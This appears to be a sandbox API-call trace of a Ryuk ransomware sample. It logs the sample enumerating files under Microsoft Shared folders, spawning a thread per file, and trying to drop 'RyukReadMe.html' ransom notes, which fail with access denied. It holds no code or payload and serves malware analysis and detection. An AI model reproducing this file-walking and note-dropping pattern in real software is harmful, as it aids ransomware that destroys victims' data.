	[0158.399] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x9c, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1
	[0158.399] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0158.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x484
	[0158.402] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.403] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x9c, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1
	[0158.403] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0158.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448
	[0158.405] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.405] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x9c, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1
	[0158.405] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0158.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528
	[0158.407] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.408] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x9c, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1
	[0158.408] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0158.408] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x52c
	[0158.410] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.411] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x9c, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0
	[0158.411] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0158.413] SetLastError (dwErrCode=0x0) 
	[0158.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.413] GetLastError () returned 0x5
	[0158.413] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0158.413] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.414] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x90, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1
	[0158.414] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0158.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440
	[0158.652] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.653] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x90, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0
	[0158.653] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0158.653] SetLastError (dwErrCode=0x0) 
	[0158.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.653] GetLastError () returned 0x5
	[0158.653] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0158.654] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.654] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x7c, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1
	[0158.654] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1
	[0158.654] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0158.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438
	[0158.656] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.657] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1
	[0158.657] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1
	[0158.657] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0158.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530
	[0158.659] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.660] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x7c, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 1
	[0158.660] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x7c, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 0
	[0158.660] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0158.660] SetLastError (dwErrCode=0x0) 
	[0158.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.661] GetLastError () returned 0x5
	[0158.661] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0158.661] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.661] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1
	[0158.661] SetLastError (dwErrCode=0x0) 
	[0158.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.661] GetLastError () returned 0x5
	[0158.662] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0158.662] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.662] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0158.662] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.662] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1
	[0158.663] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0
	[0158.663] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0158.663] SetLastError (dwErrCode=0x0) 
	[0158.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.663] GetLastError () returned 0x5
	[0158.663] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0158.663] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.664] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0158.664] SetLastError (dwErrCode=0x0) 
	[0158.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.664] GetLastError () returned 0x5
	[0158.664] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0158.664] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.664] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0158.669] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.672] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1
	[0158.672] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0158.673] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534
	[0158.674] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.675] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1
	[0158.675] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0158.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538
	[0158.686] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.687] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1
	[0158.687] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0158.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x53c
	[0158.690] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.690] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1
	[0158.690] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0158.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x540
	[0158.693] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.694] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1
	[0158.694] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0158.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x544
	[0159.034] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.035] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1
	[0159.035] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1
	[0159.035] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x548
	[0159.038] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
